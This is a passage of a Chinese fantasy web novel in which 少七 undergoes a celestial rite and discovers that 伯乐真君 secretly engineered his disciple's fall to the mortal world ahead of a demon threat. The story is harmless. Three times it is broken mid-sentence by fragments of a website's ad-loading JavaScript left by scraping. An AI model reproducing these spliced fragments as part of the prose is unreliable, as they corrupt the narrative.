曾经还是芍七的少七,是很不喜欢朗月这种闷葫芦的脾气的,可是他却一步步迷失在了对朗月悲惨经历的怜悯之中,到最后,他已经无法全身而退了。有时候他会想,自己可不可以在跟朗月的相处中,一点点改变他,让他稍微解放自己一些,不要那么累。 如果在遇到芍七之前的朗月是因为害怕自己没有足够的能力保护自己,才会一步步丢失自我。那么那时候的芍七就会想,如果他以后能够一直陪伴在朗月身边,给予少年更多的保护,他会不会就不用那么辛苦地掩饰自我、封闭自我了。 那时候的芍七对此深信不疑,虽然十年的时间下来,他还是没能做到让朗月回归自我,但看着他渐渐变得灵气的神色,就觉得,他的努力还不算白费。那些神色,包括责备他身为剑灵时鲁莽行事的怒色,包括对他心怀不轨时意味不明的笑容…… 可是,芍七从没觉得这些对他有什么伤害,反而觉得这是小公子关心他的表现。毕竟,他家的小公子真就是没啥大脾气的人,平时小打小闹都不上台面,要想惹火他着实是要费力气的。当然,芍七保证自己绝不是什么受虐狂,因为,他能感觉到朗月斥责他时是从不动真格的。 芍七真心感觉,小公子和他哪里是什么主仆,倒像是喜欢拌嘴互损的老朋友。 芍七本以为在自己未来不断的软磨硬泡下,朗月会变得更加灵动,更加快乐…… 但他从未想过,他和朗月的关系会有戛然而止的这一天。芍七死了,取而代之的是少七,所有的一切都变了,也再也回不到从前。 少七想到这里,默默闭上了眸子,可是一闭眼,他看到的便都是,苏府雨夜,朗月在半空中想要拼命挽留他时,对他说的那些话—— “你……怎么变成这样了?” “不……你还能和我回去,还能……” “我……抱歉……我以后再也不会怪罪你,再也不会拿门主威胁你,再也不会……” “……” 他第一次看到朗月如此执拗,如此脆弱的时候…… 少七猝然睁眼,他很难承认自己是因为不敢再看下去,才会有这样的反应的。若他还是曾经那个没头没脑的芍七,现在估计早就哭得泪流满面了,可惜,他早就不是了。 同理,朗月也会在不久后像他一样 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “死去”,变回元武掣殿下。在少七心里,朗月是特殊的,他甚至可以变得跟殿下毫无关系。所以,殿下出世后,朗月在他心中,就算真正死去了,永远都回不来了。 而以后,同样会被埋葬的也是芍七和朗月凡尘十年岁月里亲密无间的关系,和生活的点点滴滴。 少七还是在骗自己,他根本还在乎,在乎得要死,所以总是忍不住心痛难过。 少七觉得,这一世的命运对朗月太过无情,所以总想着能使出什么法子好缓解这样残酷的命运,可他能做的无非是叫这世上还与朗月这个孤独的孩子,有着非亲非故“血缘关系”的苏且光死得不必那么惨了。然而,他心里明白,这些做法其实根本无法改变什么,更别提更改朗月的命运了,他这么做只是在满足自己的私欲,和完成某种程度上对自己缺席挚友人生后的愧疚的宽慰罢了。 至于柳芊芊……上一世,她是阿霖,给予过曾经还是芍七的自己很多帮助,命运给他们开了个天大的玩笑,致使后来的他对她一直都怀有愧疚,这份愧疚甚至跨越了百年的岁月。然而,等到他找到机会想要托出这份愧疚之情时,阿霖陡然变成了柳芊芊。 其实都是一样的,无论是芍七和少七,无论是朗月和昭玉,无论是阿霖和柳芊芊……一旦更换了身份,曾经的身份就会彻底死去,后来的身份代表着全新的生活,某些程度上说,前者后者其实都是不同而独立的个体。 所以,芍七到死,都没能还愿。 少七想着,若是苏且光能够不落于魂飞魄散的下场,柳芊芊在九泉之下也会心安很多吧。尽管她不是阿霖,尽管那些生长在芍七体内百年之久的夙愿还是无法了清…… 另外,让他感到心烦的还有毗邻山往世镜和凡间刹摩血蠕的关系。往世镜的出现离奇不说,他和元武掣殿下刚被它罩下凡后,就连续赶上了好几场血蠕的劫难……而且血蠕还牵扯到了上百年前的人妖纷争之事,更恐怖的是,这些都与刹摩息息相关。 少五死前说的那句刹摩出世……究竟是怎么回事? 万余年前,刹摩一族不都消亡了吗?怎么会凭空出世? 或许,两百年前元武殿下格外在意天宫宝鼎异动也不是没有道理,因为他能感觉到,灾难确实就要来了,这完全不是危言耸听。 听崔判官的话意,少七大概也能猜到天界如今还格外在意元武掣殿下失踪的事情,在往世镜的作用下,如今身为朗月的殿下定然不会被找到…… 蹊跷…… 灾难将至,天界目前剩下的最有对抗刹摩经验的元武掣殿下,却猝然消失。 这这这……不就是调虎离山之技吗?! 少七脑子“搜”一下冒出这个猜想,他感到茅塞顿开的同时,也赶忙加快了回天界南天门的步伐。 他必须要尽快去找天司为自己开灵智,并且立马将这些事情告诉天司大人。 138. 翮归元武(3) 一时辰既过,那位请神女官也早已姿态高贵地立在了南天门前,等待少七身影的到来。 少七风急火燎地加紧了步伐,才好不容易从地府匆匆赶回天界,不然要是又过时了,他觉得这位女官并不会再像第一次那样,给他好脸色了。 好在,一切都还来得及。 云雾缭绕间,女官高昂着头颅,微微垂下眼神,用一副居高临下的姿态展开她手上早已拎着的那只仙卷。不同于先前常见到她从袖中金芒中抽出的喜庆大红色的卷轴,这只仙卷素净得很,应当是天界司法界之物。 “少翮仙君,尔之惠及,天府应当给予你正式成为仙君的资格,故请速速去达司法界报到。司法界仙君受礼之时,严禁喧哗,少翮仙君必须全程保持安静,如此才能更快静心,好让灵智全开。”女官念完,抛下仙卷,那卷轴顷刻间就长起了翅膀,不知往哪个方向摇摇摆摆地飞走了。 “请吧。” 女官转身,示意少七紧跟她的脚步。 天界一向注重这些繁文缛节,司法界就更加不得了了,来来回回的,不知转了多少卷轴,才叫少七拥有真正踏入司法界大堂的资格。少七不禁在心里抱怨了几声,同时,他想到方才女官说的那些一旦进入司法界后就不得喧哗的话,就明白,他急于跟天司诉说他刚发现的惊天秘密的计划,得暂时压一压了。 看来只能等到灵智开启后的时候了,他默默想到。 司法界大堂—— 高耸的金殿内,玉阶铺了成千上百层,简直是恨天高的程度,天司大人就坐在高耸玉阶以上的长椅上。 殿内云雾飞舞飘荡,外面的光芒射进金殿,殿宇便将光芒反射成如梦似幻的七彩霞光,披散在这些云雾上,如此一来,云雾也变得奇异起来,这便是七彩祥云的由来吧。 无数浓厚的祥云游荡在高处,让少七连天司大人脚底板的影子都看不着,然而就是这样不可远观也不可亵玩的观感,总能给人带来极强的压迫感和威慑力,少七仅仅是朝近乎望不到尽头的仙顶上眇了一眼,就不敢再继续看了。 已经换上了干净的镶金云袍的他恭恭敬敬地立在堂下,俯首作揖,不敢说话,只能默默等待天司大人开金口。 很快,一道中年男人的声线自高处传来,在空旷的大殿内荡着长长的尾音,显得格外空灵,俨然一副“天外之音”的模样。 “少翮仙君,开始吧。” 一道突然出现的光柱自少七的头顶上射来,刚好包裹了他全身,他感到一股贯通五脏六腑的暖意袭来,他自然而然地闭紧了双眸,心中久久不能平息的紧张感也忽然消逝了,他能感觉到自己的呼吸正变得越来越平缓。 这本是一场惬意安适的体验,少七却在渐入尾声的时候,忽然在自己的灵识内闻到了一股苦涩的梅花香气,这道香气给他的感觉十分熟悉——他下意识地厌恶这股味道,只有曾经拥有过和这些味道接触的机会,他才会做出这等反应。 这道香气愈来愈浓郁,也让他越来越觉得苦涩难耐,他甚至开始产生了幻觉,因为他知道自己没有张过口,却总感觉这股地狱般的味道正在野蛮地挤进他的鼻腔,怎么都没有满足之意般,继续不屑一顾地冲进他的口腔之中。 他感觉自己的舌苔碰到了它们,而它们则不要脸地一直贴紧着他的舌苔,不愿离去,越来越放肆,它们给他带来了很苦涩很苦涩的味觉,比闻到的气息还要苦涩上百倍上千倍。 少七愈发感到自己呼吸不畅,仿佛有一只无形的大手正毫不留情地掐住他的脖子,不让他好受。 灵识内的他猛地睁开双眼,却忽然发现自己早已不在天界司法界的大堂下了,而是安然地坐在一只软榻上,手上正端着一杯梅花苦茶,他刚刚闻到的那股令他窒息的味道便是来源于此。可是他发现自己睁开眼睛后,这杯飘散着多片枯黄色梅花瓣的茶水,却早已没有刚刚他感知到的威力了,他的注意力随之放到了坐在茶几对面正笑着看他的人影。 一道明媚的阳光从窗外探进来,在人影的眉眼上闪过一瞬,少七抬眸,终于看清了此人的庐山真面目。 灵智的诞生,让他很快想起了自己曾经忘记过的那些事情,自然也让他记起来眼前此人的身份了——伯乐真君,元武掣殿下的师父。 少七瞳孔猛然一缩,在他还没反应过来要说话的时候,伯乐对他说道:“若想解密,便来找我,我已在伯乐府静候已久了,少七。在此之前,凡尘中经历过的一切事情,切不可告诉除了我以外的第二个人,否则,元武掣殿下是会遭难的。” 伯乐在说到最后一句话时,忽然加重了语气,显得分外沉重,但他的表情分明还是笑着的,这般强烈的违和感不断地给少七灌输一种笑里藏刀的感觉。 他的心脏越来越不安地跳跃着,躁动了他的神绪,他的意识猛然坠入混乱,视角也模糊起来,但伯乐的表情却依然历历在目,他不禁背起一阵冷汗。 他终于无法静心,恰巧,灵智开启的仪式也快要落幕,但他还是在这一切来临之前,提前睁开了眸子,微微开合着的嘴巴不断深呼吸着,带动胸膛的起伏,他慌乱的神色和动作无不给人一种劫后余生的感觉。 他睁开的眼睛为他展示了他现在身处的环境,没有刺鼻苦涩的梅花香味,没有靠墙茶几上方漏光的木窗,更没有让他惊恐的伯乐真君,他还待在庄严而空旷的司法界大堂下,刚刚那一切……都是幻觉……他顿了顿,还是在心里重复了一遍—— 真的……只是幻觉吗? 那些他看到的画面太具有真实感,这让他陷入了迟疑。 就在他还有些神志不清的时候,天司大人的声线再度从高处不急不徐地传到了他的耳中:“少翮仙君,你是有什么话要和本司说么?” 少七猛然抬头,却又很快埋下,他的上下嘴唇合在一起嗫嚅了许久,最后却还是认命般说道:“天司大人……没有。” 那些真实的幻觉给了他极大的威慑力,那些不久前还在他胸中酝酿的想要脱口而出的“秘密”,在此时忽然没了志气,随着他原本澎湃的意志干瘪了下去。他已经说不出口了。 天司大人并没有太过计较少七的事情,他只是用那副习以为常的口吻,继续对少七交代道:“既然如此,那本司就主动给你安排了。鉴于你多年前曾在元武殿下结下仙缘,本司便直接将你安置到殿下麾下,如何?” “少七……任凭天司大人差遣。”少七默默作揖。 “下去吧。” “是。” 少七作着揖连连往后退了好几步,才恭敬地转身离去。 踏出殿堂的那一刻,一道道钟声开始鸣起,他抬起眸子,看到无限长空外,几只硕大的金钟在缓缓摇摆,散下万里金光,衬在多多祥云之上,折射进他的双目之中。 少七被光芒一刺,顿时觉得脑袋没那么迷糊了,他的步伐愈渐加速,方向感在他脑中清晰地呈现,他正在往伯乐府的方向走去,他果真还是在意那些幻觉。 他觉得自己记忆上的空虚正在不断地被填补,一路上走过来,他竟觉得这路愈发熟悉,而伯乐府也是他曾经来过的,这种既熟悉又陌生的感 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 觉一直穿插在他的脑海里,让他疑虑重重。 少七到了伯乐府前,见府前有两看门小儿,他本想上前按照规矩作揖并表明来意,却没想到,他喉咙都还没来得及动,那两小儿就笑眯眯地齐声对他说道:“少翮仙君安好,我家真君已经在府内为您沏茶已久了,请速速跟我们来。” 说罢,两小儿各站定一门侧,朝里面伸手做出一副“请进”的动作。 少七刚刚消去的冷汗再度爬上他的脊背,因为,他已经知道那些他看到的画面和听到的话都不是幻觉了。在现实中,伯乐真君的表现和幻觉之中的那些话几乎完全对应,他老人家的确一直在等他。 可是,伯乐真君不是著名的半吊子窝囊废么?他是怎么做到在天司眼底下对他做手脚的?他是怎么做到透过光柱传达灵念的? 少七僵住,他想到了幻觉末了他看到的真君脸上挂着的那张暗藏城府的笑颜,一个可怕的念头忽地浮现——伯乐真君远没有看上去那么简单,他甚至是个能让人下意识感到后怕的人物。 伯乐真君在幻觉中对他说过的话,一遍又一遍地在他脑中循环播放,似带着致命吸引力的蜜糖,让痴迷于此的小儿不顾一切地跳进陷阱之中。莫知莫觉间,那口“若想解密,便来找我”的话头就让少七丧失了所有了思考能力,他变成了那个眼中仅能看到蜜糖却看不见陷阱的小儿,想都没想就匆匆跑进了伯乐府内。 两只带头的小儿将他送到茶室前,就默不作声地离去了,少七在茶室外透过被日光照得如同薄翼的落地长窗,看到一个蹲坐在软榻上的人影在慢慢捣鼓着手上的茶壶。少七知道这个人影是伯乐真君,他喉梗收紧,心一狠就逼着自己克服紧张推开了长窗,撩袍走了进去。 听到长窗关阖的动静,伯乐也放下了手上的东西,撇过头看过来,茶几靠墙的上端的那扇木窗开着,一缕清朗的光亮从中斜射在伯乐的脸上,又因为伯乐动作的偏转,在他脸上只只停留了片刻,就瞬间闪过去了,这和少七在幻觉中看到的画面一模一样。 一时焦忙下来,少七早就乱了脚步,他竟鲁莽地忘了自己身为一介低阶仙君是要给真君行礼的规矩,他甫一与伯乐对视,就止不住开口:“我……” 但是话语才起头,就被伯乐不慌不乱的声音打断:“先坐下来,陪我喝杯茶嘛,急什么啊,你这孩子。” 伯乐说罢,又翘起二郎腿来,手还不规矩地放脑袋上到处搔弄。 这是一副很能让人放下警惕心的动作。 少七:“……” 但这招术已经对他不管用了,幻术内都是真君真实表露的信息,他早在那个时候就已经能隐隐感应到伯乐虚伪面皮下藏着的城府了。 事到如今,他虽然没放下警惕,但还是得乖乖听话,不然真君也不会给他发问的机会。 少七没有任何犹疑,就走到了伯乐对面的软榻下来,坐下来,他现在的模样和幻觉中的自己一样,他在这个位置看到的视野,也很幻觉里一样。 他顿了顿,忽地想到了什么,他将目光注视到了面前摆着那杯刚刚泡沉下梅花花瓣的茶水,他还是忘不掉他在幻觉中闻到的那股叫他窒息的苦涩香味,他盯着那杯黄澄澄的茶,表情愁苦,隐忍至极,因为条件反射的缘故,他真的很想干呕。 “请吧,等你喝完了,我想你就能知道很多了,第一位解密者是你自己,少七。” 伯乐盯着他,明明是盈满笑意的眼睛,却同样给了他不容拒绝的压迫感。 这种倍显违和的神色,少七在短短时间内,已经看到了两次。 139. 翮归元武(4) 茶水冒着白雾般的热气,少七知道他所抵触的味道一定藏在这热气里,一旦凑近,就会争先恐后地扑进他的鼻腔里。他别无选择,提前深深吸口气再憋紧了,他才敢端起茶杯,闭着眼一饮而尽。 温热的水流滑入他的喉咙,徐徐芳香在他的体内砰然绽开,毫无想象中那般苦涩刺鼻的感觉,他的舌苔被茶水浸润,芳甜的气息在其上盘旋,好似一只沐浴在春色里的飞燕。他的心神慢慢静下来,思绪也不再紊乱紧迫。 这不是苦茶,反而是叫他流连忘返的带着梅花香气的甜水。苦茶和甜水的极度反差,给他带来了错觉,他觉得,这两者之间的关系简直就像是毒药和解药,一样给他带来迷茫和苦恼,一样给他带来解脱和慰贴心灵的温暖。 他的耳畔开始响动了人的声音,他徐徐睁开眸子,以局外者的身份立在了茶室的一角,看到了两百年前的伯乐坐在两百年前的自己的对面的场面。那个时候,伯乐和他的嘴唇都在开合不断,应当是在交流什么。 随着站在茶室内的他心境越来越冷沉,脑路越来越清爽,他终于听到了那一老一少的对话,这些话也开始变得越来越明晰了—— “你当真是伯乐真君?” “货真价实!” “那为何您出现得这么离奇?我遇见您之前明明还能遇到很多人,他们却在一瞬间消失不见了。现已至此,我还是看不到他们的身影。” “看来你是个新人,不懂我伯乐的规矩。要知道本君练就的是无为之道,各种隐蔽奇巧的术法我最是玩得出神入化。且甚至由于无为之道与本道概不相通,故,旁人不易察觉。而现下,你在我的无为境内,怎会瞧见旁人?只有你察觉到了我的无为境,在境内出现的自然只有你一人。” “为何只有我能看见?” “那要问问你从何而来了?天宫仙气氤氲,与本道仙术浑然一体。我猜你是从极阴之处来访,本道奉阳,而你体内阴阳未融,自然不会受本道影响,我这无为境便为你而开。” “那您……为何要这么做?” “为了等你啊。” “什……么……” …… 老少二人的对话以那个稚嫩的少年郎吞下苦茶后,晕倒过去而告终。 少年郎手捧着的杯盏终于落地,发出“哐镗”一声巨响,让站在茶室内以透明人的姿态存在的来自两百年后的少七,震起一身激灵,他感觉自己的灵魂深处似乎有只大锤在猛烈撞击这什么,它发出的声音也是“哐镗”“哐镗”的…… 那只大锤终于在自己的不懈努力下,将一张类似于隔阂般的东西敲碎了,隔阂消失后,少七感觉灵魂深处的底部被人掏了空,他想将心送到通向另外一个的灵魂世界中的底部去,从而去抓住触碰秘密的机会。 他成功了,他进入到了那个灵魂的世界,并且发现这个世界的主人就是那个已经昏阙在榻的少年郎,更是两百年的自己。 他能与两百年前的那个还未忘却一切事情的自己通感,他知道那个时候的自己在想什么,他都记起来了,都记起来了—— 他死死盯着掉落在地的杯盏,心想,原来这都是圈套!他记得自己被伯乐做了手脚,让他忘却了很多关于伯乐的记忆,还任由自己被伯乐操控! 毗邻山下,他就是被这样操控着……触发了万恶之源“往世仙镜”,所以元武掣殿下才会被他带进凡尘!所以,让殿下消失的罪魁祸首根本不是他也更不可能是刹摩,而是伯乐真君,是殿下的师父!所以是伯乐真君助纣为虐,帮助刹摩调虎离山! 为什么?!为什么?! 他是不是在做梦?! 为什么?!这不是真的!不!真的……不,这……究竟是真的吗?! 少七疑三惑四地反问着自己,渐入疯狂的他,耳边又响起了画面中看着已经晕过去的少年郎的伯乐,喃喃自语的话—— “为了等一个可以入我无为境的人,才能叫此人来去我府的行踪不被人察觉和怀疑,尤其是我那个聪明徒儿啊……” 都是真的!都是真的! 伯乐真君自己承认了背刺殿下的事实! 这一切,竟然都是真的! 少七瞳孔顿缩,满心满眼都是恐惧。 在此时,画面还在运转,伯乐不知使了什么法子,叫那晕过去的少年郎登时醒了过来,但少年郎满脸皆是迷糊的神色,眼神也毫无光彩。 伯乐把玩着手上的杯盏,看着迷茫的少年郎。 他的话语还没有结束—— “哎,世道变迁重重,真是苦了你这个孩子。” “你身系多根,既入不了地府轮回,也打不牢仙基。如今,你帮我做一件事情,我便设计助你即刻下凡自斩前尘往事,助你登天为仙,如何?” “这是往世镜催动符咒,我将他传授给你。我已经在毗邻山布下往世镜,你届时到了法阵中心便可自行感知它的存在,再见机行事。” “喝茶罢。” …… 伯乐一边说着,少年郎一边连连点头,他像一具没有灵魂的傀儡,任由别人摆布。 少七愕然抬眸,他看着茶室内对坐的一老一少的身影越来越远去,眼前的画面也扭曲着,将身影们送入了他难以触及的的远方,直到再也看不见。他站在空白的世界里,愣在原地,内心百感交集。 按照那些他听到的对话和看见的画面来说,伯乐在他心中的形象已经逐渐模糊,他觉得他是个矛盾的人。一边拿他当棋子,让殿下遭受往世镜之灾,让在凡间蠢蠢欲动的刹摩愈渐不受控制。却也在一边帮他摆脱过去,重生成真正的自我,得道升仙。 女官手中的因果轴所说的并不对,真正助他的根本不是地府崔判官,而是天上的伯乐真君! 伯乐真君到底藏了什么手段,既能在天司眼皮子底下随意对他动手,也能逃过殿下的疑心和女官因果轴的检视…… 他哪里是什么窝囊废?!那都是骗人的!他骗了天界所有人! 少七立在白茫茫一片的世界里,忽地一道道天降之光如倾盆大雨一般倒在了他单薄茫然的身躯上,完全不给他任何反应的时间。他就这样被这些刺目的光芒逼得闭紧了眸子,脑际也弥漫着朦胧的光亮,他因此而感到晕眩,身上也滚烫起来。 待身上的温度已经让少七再也无法忍受的时候,少七不得不顶着身外还在闪耀的光芒,睁开双眼。但他没有想到,他一掀开眼皮子,那些又烫又刺目的光芒就立马消失地无处遁形了。他为此松下一口气,崩在他满脸的汗珠也像脱缰的马,疯狂地低落在他的衣领、袍子、短靴等等上。 尽管“劫后余生”,他还是无法抵制脑子里盘旋不止的晕眩感,这让自己很不好受,且极其容易神志不清。 很快,随着越来越强烈的晕眩感,他已经有了强烈的眩目的症状,他抱着疼痛的头,却又在恍惚间听到了有人在唤他的声音,那个人……是伯乐真君。 “少七……少七……该醒过来了。” “少七……” 少七现在本就对伯乐的存在感到十分敏感,当他意识到声音的主人是伯乐时,他就疯了一般逼着自己恢复神智。他闷哼一声,终于摆脱了困境。 他猛地睁开眼睛,看到了眼前一杯被他喝空了的杯盏,看到对面一副气定神闲模样的伯乐真君。他终于意识到,自己刚刚又是被幻觉迷坏了脑子。 他虚弱地吐了一口气,抬眼瞥见屋子里有一条不知什么时候从窗子外探进来的一截婀娜的梅花枝,开满了枝条的花朵发散着暗暗的香气,盈满了整个空间。 这个茶室,忽然变了。 正在他讶然之际,伯乐神色淡淡地说道:“无为境,这是第二次来了,少七。” 伯乐的话一针见血地刺破了蒙在少七心头的薄纱,让他顿时在迷茫中抓住了重心,无穷无尽的后怕之情从他的体内冒出,他恐惧地向后倾倒,眉眼压低,喉结上上下下滚动着,无数的小动作做下来,他却连看一眼伯乐的勇气都没有。 伯乐似乎早有预料,他悠哉游哉地给自己的茶杯添了新水,用戏谑的口吻说道:“你不会以为我今天喊你过来是为了杀人灭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 口吧?毕竟你怎么都想不通我为什么既要坑害我的徒弟昭玉,又要帮你登仙。你会开始觉得,后者不过是我为了引诱你上钩帮我做事的幌子罢了。 你也知道这两件事都是绝对不能暴露的,事成之后,我一反常理地喊你到我身边来,还让你都忆起了往事,你觉得奇怪吧?因为我把这么重要的事情就这么坦然告诉你了。 你会想,为什么我会不担心你将这些事情全部泄露出去,是吗? 你会在意,为什么到关键的时候,我会忽然把你拉进这个无人知晓的无为境内,对么? 到现在为之,唯有杀人灭口四个字最好解释这些让你摸不着头脑的事情了。” 少七低着头,听得胆战心惊,他不得不承认,伯乐说的这些话的确是他想过的。 “不要紧张嘛,要知道,天界随意屠杀仙者可是死罪,我堂堂伯乐真君过得这么恣意快活,犯得着为了你这只刚登天的小屁孩儿冒险?少七,你可别开玩笑了。我叫你来无为境,只是为了方便交心而已,这样不是更好保密嘛。” 伯乐笑得格外开心,爽朗的笑容荡漾在无为境的茶室内,连那支梅花枝都被笑声震颤了几分,此时正摇摇晃晃地卖弄自己的身姿呢。 虽然少七自认已经透过现象看到了伯乐的本质,但伯乐的笑声确实让他放松了一点,也缓和了他和伯乐之间的氛围。 少七鼓起勇气,还是发了声:“我都记起来了,为什么……为什么你要这么做?!你可知这是调虎离山?一旦殿下不在天界,就无人能及时管控刹摩!也不会有人护得住苍生!” 他分明是没底气的,但自从第一字脱口后,就莫名刹不住了,火气噌噌噌地冲上他的天灵盖,他说的话自然就没轻没重了。什么所谓的真君仙君之分,他早就抛到九霄云外去了,哪里还有心思弄什么礼节? 伯乐笑声戛然而止,他收敛起唇角扬起的弧度,漫不经心的眼神也全部聚焦到了少七脸上,愈发明亮,愈发专注,他整个人的气质也在这一瞬间变得截然不同起来。 少七被他盯得背脊发毛。 “少七,我来问你几个问题。”伯乐冷道。 “万余年前的刹摩大劫里,耗费了天界多少兵力?主力将领有几位?难道只有你的殿下吗?” 少七颤抖着唇瓣,慢慢答道:“耗费了将近天界兵库所有的兵力,直到万余年后,才恢复完备。主力将领,一共三位,现在的天帝,也就是曾经的帝君,明霞女师,还有元武掣殿下……” “寡不敌众,孩子。天帝闭关,明霞已经消失了万年,你觉得最年轻的殿下能敌得过将要卷土重来的刹摩么?” 少七抓住了伯乐话中他最在意的地方,忙追问:“你承认刹摩要来了?!那些灾难,很快就会来了,对么?!” “没错,你和我担心的都一样,”伯乐点肯道,后又问道,“你还记得天宫宝鼎异动的时间吗?” “就在两百年前乞巧日左右的时间上,我当时正在元武殿做搬运酒樽的小喽啰。” “没错,而且,我徒儿在最开始之所以能意识到刹摩的存在,也是因为两百年前那次天界几乎无人在意的异动。但少七,你再告诉我,你在凡间的那位哥哥,少五,它又是什么时候被蛊惑着迷失心智的呢?” “也在……两百年前左右。” “准确一点,甚至是早于天宫宝鼎异动的时间对么?” “是……” “如今的你应该也已经知道了蛊惑少五的怪物正是非人非妖的影魔了,并且,影魔一开始待着的那个封印已经存在了上万年。我告诉你,影魔正是魔族之物,更是刹摩的走狗,像他这样的怪物在万余年前可是数量格外庞大的。 万余年前,天界历经千辛万苦才将刹摩族系逼至毗邻山下,借助其逼仄的地形,当场围剿他们。尽管如此,敌方数量庞大,再不遗余力地剿灭,也会存在漏网之鱼,天界在刹摩大劫后,兵力有限,花了所有的气力在全界搜捕余孽,却只能杀死其中一部分的怪物,剩下的仅能用封印来永久捆缚他们,影魔便是其中之一。” 140. 翮归元武(5) 少七皱眉反问道:“万余年的时间足够让天界养精蓄锐了,为什么不继续将封印里的怪物杀死?如此才能永绝后患才是啊!” 伯乐对他的反应毫不奇怪,他悠悠道来:“因为万余年的时间太长,足以让所有人都能忘却它们的存在。当然,天界一开始选择封印它们,也绝不是要给它们后路走的意思,因为一旦被此等封印困住,是永远无法逃出去的,刹摩虽然能与仙者同岁,但终究不是仙,他们终有一日是会面临死亡的,更何况是影魔这种连刹摩都算不上的普通魔族了。 天界里,包括天帝、元武掣殿下,也包括我,都以为这帮余孽根本没有让天界再动手的必要,因为他们的结局只能在毫无希望的死寂空间里慢慢等待消亡。 没有威胁性的东西,是很难给人留下印象的,影魔等等余孽都被大家忘了。大家以为它们早已死了。” 伯乐的语速很快,但少七的脑路也毫不示弱,他斟字酌句地思量着这些话,后才恍惚地说出自己的发现:“我想起来了!” “你的意思无非是说,影魔根本不可能逃出封印,而是有人在幕后动手,让封印动摇,才给了他找到少五的机会。 在凡间,殿下……不,是朗月,他跟萧喜在向我陈述苏府祠堂封印之事时,也明确说过类似的话,不只是影妖,包括少五能在两百年后的苏府祠堂的封印醒过来的事情,也是有幕后之人操作的。并且,很可能是同一人,哪怕不是同一人,也肯定是同一种族,即刹摩。” 伯乐随即说道:“没错。” 他继而又道:“无论是影魔还是少五,更甚至是血蠕,都与刹摩息息相关,但这些都没有达到让天界和我忌惮的地步。恐怖的是刹摩做到了先发制人,在天界没有防备心的时候,他们早已丰满了羽翼。 刹摩动了这么多的手脚,连经验丰富的元武掣殿下也差点没有反应过来,就算反应过来了,也只是疑心使然罢了,他自己也并不确定刹摩究竟是否真的存在。” “我知道你是什么意思,你是说刹摩藏得太深,难以被发现。所以,你就要让殿下亲自下凡,深入敌窝么?你可知,这里面的风险有多大?!殿下遭遇不测该怎么办?!天界岂不是再也无守了?!你别觉得我年纪小,就好糊弄! 如果事情真的像你说的这么好,你自己怎么不去干?就算你要殿下去干,你难道不能直接跟他说实话吗?!他要是明白了,肯定会亲自下凡界查明真相!完全不用像现在这样蜗居于凡人之躯在凡界吃尽了苦,还要冒如此大的风险!” 少七激动地“刷”一下就竖了起来,垂着瞪大的眼睛,盯着坐在软榻上面色平静的伯乐,义愤填膺地说着。 伯乐的情绪依旧稳定,他慢慢抬眸看着气得浑身发抖的少年郎,微微翘了翘唇,说道:“因为我有私心。” 伯乐的回话出乎了少七所料,少七像根桩子一样僵直了身体定在那里,感觉嘴巴像被什么东西封了起来,完全说不出话来。 说罢,伯乐很快从怀里抽出一块锦帛,小心地摊在了古朴的茶几上。锦帛不大,上面却布满了密密麻麻的字和图案,无一不小得可怜,茶几上的砂壶还咕噜噜地冒着缕缕茶烟,虚化了少七的视觉。站直了身子的少七因为拉不下面子,就还是别扭地立着,极力眯眼往下看,还是看不清字眼,如今的他处境真是坐也不是,站也不是。 “坐下来看。”伯乐没忍住抽了抽嘴角。 少七又“噗通”一声坐回去,脸色红了一片,也不知道到底是气的还是羞的。 他很快冷静下来,眼睛直愣愣地往锦帛看过去,却立马收住,整个人梗着脖子,一副非礼勿视的模样,叫道:“这上面写的都是殿下的命数?!” “不错,”伯乐伸手提来一只朱砂笔,直接往锦帛上圈过去,“这些都是我推算后,写上去的。毕竟在这世上,没人比我更了解我的徒儿。” 他的笔定在“劫”之一字上,语气沉重,说道:“仙人虽有长生不死之说,却需渡劫,大至直接关系生死的五行劫,小至磕磕碰碰等等可以削弱仙根灵力的小关卡。说到底,是大是小都是看运气的。但是,一旦仙者历劫命数的时间越往后退,这劫数的威力就越是强悍。到这种时候,所谓的运气都没了作用,因为结局必然指向大难,且此难违背本身属性,会给仙者带来致命的打击。 与昭玉相克的属性更是脱离五行之外的雷,所以我想,不久后他要面临的劫难便是雷劫,仙史至今,能渡雷劫者,仙界唯有先天帝与九霄之上的天神……昭玉远远不够资格。 你知道么,我的徒儿从诞生至今,从未渡过劫。从前,我本以为万余年前的刹摩大劫就是他的劫数,可天命书却并未对此有所表露。 而恰巧在天宫宝鼎异动的时间上,我能隐隐感觉到他的命数的走向逐渐变得不稳定,我花费了很久时间才推算出这锦帛上的字图,大致走向与我想的一致。” 少七张了张口,默默吞下一口苦水,才能有余力接上伯乐的话,他讷讷道:“殿下的劫数在历尽万年的沉淀后,已经足以威胁他的仙命了,而且这劫数与天宫宝鼎异动一事息息相关,这就表示了,殿下的劫难会与不久后暴动的刹摩之灾有关了。 可……可……既然都涉及到了天命书,殿下自己应该已经知道自己的劫数将近了!甚至,那个时候的他因为天宫宝鼎之事也应该怀疑上刹摩了吧!他应该都知道才对! 殿下不是普通仙人,他之前要是自己主动下凡历一场小劫,说不定就能化解如今面临大劫难解的局面了啊?!” 伯乐无奈地摇了摇头,苦笑道:“如今天界上下涣散,天帝也不在,女师也不在,就只有他一个人能镇得住这么大的场子。就算他有十足的把握自寻劫数并全身而退,你觉得他肯放得下这样的天界吗?他这是魔怔了!他已经把自己变成了一个毫无私心的怪胎了!更何况……刹摩藏匿凡间,他若冒然下界,后果又是不堪设想……” “他如此操心天界,天界却除了我以外无人肯操心他!他如此辛苦,却还要遭受无数的不满和谩骂!就像当年天宫宝鼎异动,他是第一个注重此事的,但他的努力何时收到了回报?! 而且你是不知道,你家殿下真没表面上看起来那么风光。他这个人自负又固执得厉害,他就算知道劫数之事,也不会对它上心多少,他会觉得自己无论何时遇到困难,都能将其迎刃而解。 他这个人也可以说是无私到了极点,哪怕知道自己会死,也不愿离开镇守之地半步,他要誓死用堂堂正正的尊严捍卫着天界,付出生命的代价也无所谓。要知道,我在之前几乎与他碰不上面,天天用睹思在他耳根子上唠这些事情,他哪一次当真过?再后来,他怕我当面缠着他唠叨,就干脆不来主动见我了。” 